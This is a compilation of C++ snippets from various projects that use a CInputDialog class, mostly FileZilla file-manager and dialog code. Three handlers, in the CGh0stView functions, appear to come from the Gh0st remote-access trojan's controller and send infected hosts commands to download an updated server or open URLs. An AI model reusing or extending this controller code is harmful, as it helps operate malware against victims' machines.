void CLocalListView::OnMenuMkdir(wxCommandEvent& event) { CInputDialog dlg; if (!dlg.Create(this, _("Create directory"), _("Please enter the name of the directory which should be created:"))) return; if (dlg.ShowModal() != wxID_OK) return; if (dlg.GetValue() == _T("")) { wxBell(); return; } wxFileName fn(dlg.GetValue(), _T("")); fn.Normalize(wxPATH_NORM_ALL, m_dir); bool res; { wxLogNull log; res = fn.Mkdir(fn.GetPath(), 0777, wxPATH_MKDIR_FULL); } if (!res) wxBell(); DisplayDir(m_dir); }
CInputDialog* CInputDialog::NewLC(MInputObserver& aObserver,CMainEngine& aMainEngine,TInt aCommandType) { CInputDialog* self = new (ELeave)CInputDialog(aObserver,aMainEngine,aCommandType); CleanupStack::PushL(self); self->ConstructL(); return self; }
void CFilterDialog::OnSaveAs(wxCommandEvent& event) { CInputDialog dlg; dlg.Create(this, _("Enter name for filterset"), _("Please enter a unique name for this filter set")); if (dlg.ShowModal() != wxID_OK) return; wxString name = dlg.GetValue(); if (name == _T("")) { wxMessageBox(_("No name for the filterset given."), _("Cannot save filterset"), wxICON_INFORMATION); return; } wxChoice* pChoice = XRCCTRL(*this, "ID_SETS", wxChoice); int pos = pChoice->FindString(name); if (pos != wxNOT_FOUND) { if (wxMessageBox(_("Given filterset name already exists, overwrite filter set?"), _("Filter set already exists"), wxICON_QUESTION | wxYES_NO) != wxYES) return; } if (pos == wxNOT_FOUND) { pos = m_filterSets.size(); m_filterSets.push_back(m_filterSets[0]); pChoice->Append(name); } else m_filterSets[pos] = m_filterSets[0]; m_filterSets[pos].name = name; pChoice->SetSelection(pos); m_currentFilterSet = pos; }
void CGh0stView::OnRenameRemark() { // TODO: Add your command handler code here CString strTitle; if (m_pListCtrl->GetSelectedCount() == 1) strTitle.Format("更改主机(%s)的备注", m_pListCtrl->GetItemText(m_pListCtrl->GetSelectionMark(), 3)); else strTitle = "批量更改主机备注"; CInputDialog dlg; dlg.Init(strTitle, _T("请输入新的备注:"), this); if (dlg.DoModal() != IDOK || dlg.m_str.GetLength()== 0) return; int nPacketLength = dlg.m_str.GetLength() + 2; LPBYTE lpPacket = new BYTE[nPacketLength]; lpPacket[0] = COMMAND_RENAME_REMARK; memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1); SendSelectCommand(lpPacket, nPacketLength); POSITION pos = m_pListCtrl->GetFirstSelectedItemPosition(); while(pos) { int nItem = m_pListCtrl->GetNextSelectedItem(pos); m_pListCtrl->SetItemText(nItem, 3, dlg.m_str); } delete[] lpPacket; }
// Helper-Function to create a new Directory // Returns the name of the new directory wxString CLocalListView::MenuMkdir() { CInputDialog dlg; if (!dlg.Create(this, _("Create directory"), _("Please enter the name of the directory which should be created:"))) return _T(""); if (dlg.ShowModal() != wxID_OK) return _T(""); if (dlg.GetValue() == _T("")) { wxBell(); return _T(""); } wxFileName fn(dlg.GetValue(), _T("")); fn.Normalize(wxPATH_NORM_ALL, m_dir); bool res; { wxLogNull log; res = fn.Mkdir(fn.GetPath(), 0777, wxPATH_MKDIR_FULL); } if (!res) { wxBell(); return _T(""); } // Return name of the New Directory // return dlg.GetValue(); // return fn.GetDirs().Last(); return fn.GetPath(); }
void CFilterDialog::OnRename(wxCommandEvent& event) { wxChoice* pChoice = XRCCTRL(*this, "ID_SETS", wxChoice); int old_pos = pChoice->GetSelection(); if (old_pos == -1) return; if (!old_pos) { wxMessageBoxEx(_("This filter set cannot be renamed.")); return; } CInputDialog dlg; wxString msg = wxString::Format(_("Please enter a new name for the filter set \"%s\""), pChoice->GetStringSelection()); dlg.Create(this, _("Enter new name for filterset"), msg); if (dlg.ShowModal() != wxID_OK) return; wxString name = dlg.GetValue(); if (name == pChoice->GetStringSelection()) { // Nothing changed return; } if (name.empty()) { wxMessageBoxEx(_("No name for the filterset given."), _("Cannot save filterset"), wxICON_INFORMATION); return; } int pos = pChoice->FindString(name); if (pos != wxNOT_FOUND) { if (wxMessageBoxEx(_("Given filterset name already exists, overwrite filter set?"), _("Filter set already exists"), wxICON_QUESTION | wxYES_NO) != wxYES) return; } // Remove old entry pChoice->Delete(old_pos); CFilterSet set = m_filterSets[old_pos]; m_filterSets.erase(m_filterSets.begin() + old_pos); pos = pChoice->FindString(name); if (pos == wxNOT_FOUND) { pos = m_filterSets.size(); m_filterSets.push_back(set); pChoice->Append(name); } else m_filterSets[pos] = set; m_filterSets[pos].name = name; pChoice->SetSelection(pos); m_currentFilterSet = pos; GetSizer()->Fit(this); }
void CFileEngine::RequestRenameFile(const TDesC& aFileName) { //ASSERT(NULL == iRenameFile); CInputDialog* inputDialog = iControlFactory.CreateInputTextDialog(*this,iMainEngine.GetDesById(ETurkeyTextRes_ReName),KNullDesC,ECmdRenameFile); TParse parse; parse.Set(aFileName,NULL,NULL); inputDialog->SetEdwinText(parse.NameAndExt()); delete iRenameFile; iRenameFile = NULL; iRenameFile = aFileName.AllocL(); // iInputEvent = ECmdRenameFile; }
/** * OnNewFolder * */ void CMainFrame::OnNewFolder() { CFileListView * v = (CFileListView *)m_mainSplitter.GetPane(0,1); CInputDialog dialog; //dialog.SetWindowTextW(_T("bla")) ; // = TEXT("Folder name:"); if (dialog.DoModal() == IDOK){ // Do something CString input(dialog.m_inputText); v->CreateFolder(input); TRACE1("a %s \n", input); } }
/** A static function to get some using CInputDialog. */ const QString CInputDialog::getText ( const QString& caption, const QString& description, const QString& text, bool* ok, QWidget* parent, Qt::WindowFlags wflags) { CInputDialog* dlg = new CInputDialog(caption, description, text, parent, wflags); QString ret = QString::null; *ok = (dlg->exec() == QDialog::Accepted) ? true : false; if (*ok) { //qDebug() << "dialog was accepted, return text: " << dlg->text(); ret = dlg->text(); } delete dlg; return ret; }
void CLayerSelect::OnNewLayer() { CInputDialog dlg; dlg.csString="Слой1"; dlg.csTitle="Идентификатор слоя:"; if(dlg.DoModal()==IDOK) { CLayerItem data; data.csName=dlg.csString; data.bVisible=1; nCurrentEdit=aList.Add(data); ReLoadGrid(); } }
/** A static function to get some using CInputDialog. */ const QString CInputDialog::getText( const QString& caption, const QString& description, const QString& text, bool* ok, QWidget* parent, bool modal) { CInputDialog* dlg = new CInputDialog(caption, description, text, parent, "", modal); QString ret = QString::null; const bool isOk = (dlg->exec() == CInputDialog::Accepted); if (isOk) { ret = dlg->text(); } if (ok) { //change the ok param to return the value *ok = isOk; } delete dlg; return ret; }
void CLayerSelect::OnEditLayer() { CCellID curCell=m_Grid.GetFocusCell(); int nLine=curCell.row; if(nLine<0 || nLine>=aList.GetSize()) return; CLayerItem data=aList[nLine]; CInputDialog dlg; dlg.csString=data.csName; dlg.csTitle="Идентификатор слоя:"; if(dlg.DoModal()==IDOK) { data.csName=dlg.csString; aList[nLine]=data; ReLoadGrid(); } }
void CRemoteTreeView::OnMkdir(wxCommandEvent& event) { if (!m_pState->IsRemoteIdle()) return; if (!m_contextMenuItem) return; const CServerPath& path = GetPathFromItem(m_contextMenuItem); if (path.IsEmpty()) return; CInputDialog dlg; if (!dlg.Create(this, _("Create directory"), _("Please enter the name of the directory which should be created:"))) return; CServerPath newPath = path; // Append a long segment which does (most likely) not exist in the path and // replace it with "New directory" later. This way we get the exact position of // "New directory" and can preselect it in the dialog. wxString tmpName = _T("25CF809E56B343b5A12D1F0466E3B37A49A9087FDCF8412AA9AF8D1E849D01CF"); if (newPath.AddSegment(tmpName)) { wxString pathName = newPath.GetPath(); int pos = pathName.Find(tmpName); wxASSERT(pos != -1); wxString newName = _("New directory"); pathName.Replace(tmpName, newName); dlg.SetValue(pathName); dlg.SelectText(pos, pos + newName.Length()); } if (dlg.ShowModal() != wxID_OK) return; newPath = path; if (!newPath.ChangePath(dlg.GetValue())) { wxBell(); return; } m_pState->m_pCommandQueue->ProcessCommand(new CMkdirCommand(newPath)); CServerPath listed; if (newPath.HasParent()) { listed = newPath.GetParent(); m_pState->ChangeRemoteDir(listed); } CServerPath currentPath; const wxTreeItemId selected = GetSelection(); if (selected) currentPath = GetPathFromItem(selected); if (!currentPath.IsEmpty() && currentPath != listed) m_pState->ChangeRemoteDir(currentPath); }
void CGh0stView::OnUpdateServer() { // TODO: Add your command handler code here CInputDialog dlg; dlg.Init(_T("下载更新服务端"), _T("请输入要下载新服务端的地址:"), this); if (dlg.DoModal() != IDOK) return; dlg.m_str.MakeLower(); if (dlg.m_str.Find("http://") == -1) { MessageBox("输入的网址不合法", "错误"); return; } int nPacketLength = dlg.m_str.GetLength() + 2; LPBYTE lpPacket = new BYTE[nPacketLength]; lpPacket[0] = COMMAND_UPDATE_SERVER; memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1); SendSelectCommand(lpPacket, nPacketLength); delete[] lpPacket; }
void CGh0stView::OnOpenUrlShow() { // TODO: Add your command handler code here CInputDialog dlg; dlg.Init(_T("远程访问网址"), _T("请输入要显示访问的网址:"), this); if (dlg.DoModal() != IDOK) return; dlg.m_str.MakeLower(); if (dlg.m_str.Find("http://") == -1) { MessageBox("输入的网址不合法", "错误"); return; } int nPacketLength = dlg.m_str.GetLength() + 2; LPBYTE lpPacket = new BYTE[nPacketLength]; lpPacket[0] = COMMAND_OPEN_URL_SHOW; memcpy(lpPacket + 1, dlg.m_str.GetBuffer(0), nPacketLength - 1); SendSelectCommand(lpPacket, nPacketLength); delete[] lpPacket; }
void CLocalTreeView::OnMenuMkdir(wxCommandEvent& event) { if (!m_contextMenuItem.IsOk()) return; wxString path = GetDirFromItem(m_contextMenuItem); if (path.Last() != wxFileName::GetPathSeparator()) path += wxFileName::GetPathSeparator(); if (!CLocalPath(path).IsWriteable()) { wxBell(); return; } CInputDialog dlg; if (!dlg.Create(this, _("Create directory"), _("Please enter the name of the directory which should be created:"))) return; wxString newName = _("New directory"); dlg.SetValue(path + newName); dlg.SelectText(path.Len(), path.Len() + newName.Len()); if (dlg.ShowModal() != wxID_OK) return; wxFileName fn(dlg.GetValue(), _T("")); if (!fn.Normalize(wxPATH_NORM_ALL, path)) { wxBell(); return; } bool res; { wxLogNull log; res = fn.Mkdir(fn.GetPath(), 0777, wxPATH_MKDIR_FULL); } if (!res) wxBell(); Refresh(); m_pState->RefreshLocal(); }
void CSoundSpaceDoc::OnEditInputs() { CInputDialog dlg; if (dlg.DoModal() == IDOK) SetModifiedFlag(); UpdateAllViews(NULL, INITIALIZE); }
bool COptionsPageConnectionSFTP::LoadKeyFile(wxString& keyFile, bool silent, wxString& comment, wxString& data) { if (!LoadProcess()) return false; // Get keytype if (!Send(_T("file " + keyFile))) return false; wxString reply; enum ReplyCode code = GetReply(reply); if (code == failure) return false; if (code == error || (reply != _T("0") && reply != _T("1"))) { if (!silent) { const wxString msg = wxString::Format(_("The file '%s' could not be loaded or does not contain a private key."), keyFile.c_str()); wxMessageBox(msg, _("Could not load keyfile"), wxICON_EXCLAMATION); } return false; } bool needs_conversion; if (reply == _T("1")) { if (silent) return false; needs_conversion = true; } else needs_conversion = false; // Check if file is encrypted if (!Send(_T("encrypted"))) return false; code = GetReply(reply); if (code != success) { wxASSERT(code != error); return false; } bool encrypted; if (reply == _T("1")) { if (silent) return false; encrypted = true; } else encrypted = false; if (encrypted || needs_conversion) { wxASSERT(!silent); wxString msg; if (needs_conversion) { if (!encrypted) msg = wxString::Format(_("The file '%s' is not in a format supported by FileZilla.\nWould you like to convert it into a supported format?"), keyFile.c_str()); else msg = wxString::Format(_("The file '%s' is not in a format supported by FileZilla.\nThe file is also password protected. Password protected keyfiles are not supported by FileZilla yet.\nWould you like to convert it into a supported, unprotected format?"), keyFile.c_str()); } else if (encrypted) msg = wxString::Format(_("The file '%s' is password protected. Password protected keyfiles are not supported by FileZilla yet.\nWould you like to convert it into an unprotected file?"), keyFile.c_str()); int res = wxMessageBox(msg, _("Convert keyfile"), wxICON_QUESTION | wxYES_NO); if (res != wxYES) return false; if (encrypted) { wxString msg = wxString::Format(_("Enter the password for the file '%s'.\nPlease note that the converted file will not be password protected."), keyFile.c_str()); CInputDialog dlg; if (!dlg.Create(this, _("Password required"), msg)) return false; dlg.SetPasswordMode(true); if (dlg.ShowModal() != wxID_OK) return false; if (!Send(_T("password " + dlg.GetValue()))) return false; if (GetReply(reply) != success) return false; } if (!Send(_T("load"))) return false; code = GetReply(reply); if (code == failure) return false; if (code != success) { wxString msg = wxString::Format(_("Failed to load private key: %s"), reply.c_str()); wxMessageBox(msg, _("Could not load private key"), wxICON_EXCLAMATION); return false; } wxFileDialog dlg(this, _("Select filename for converted keyfile"), _T(""), _T(""), _T("PuTTY private key files (*.ppk)|*.ppk"), wxFD_SAVE | wxFD_OVERWRITE_PROMPT); if (dlg.ShowModal() != wxID_OK) return false; wxString newName = dlg.GetPath(); if (newName == _T("")) return false; if (newName == keyFile) { // Not actually a requirement by fzputtygen, but be on the safe side. We don't want the user to lose his keys. wxMessageBox(_("Source and target file may not be the same"), _("Could not convert private key"), wxICON_EXCLAMATION); return false; } Send(_T("write ") + newName); code = GetReply(reply); if (code == failure) return false; if (code != success) { wxMessageBox(wxString::Format(_("Could not write keyfile: %s"), reply.c_str()), _("Could not convert private key"), wxICON_EXCLAMATION); return false; } keyFile = newName; } else { if (!Send(_T("load"))) return false; code = GetReply(reply); if (code != success) return false; } Send(_T("comment")); code = GetReply(comment); if (code != success) return false; Send(_T("data")); code = GetReply(data); if (code != success) return false; return true; }
bool InputDialog (CString* pResult, const TCHAR* pLabel, const TCHAR* pTitle) { CInputDialog Dlg; return Dlg.DoModal(pResult, pLabel, pTitle); }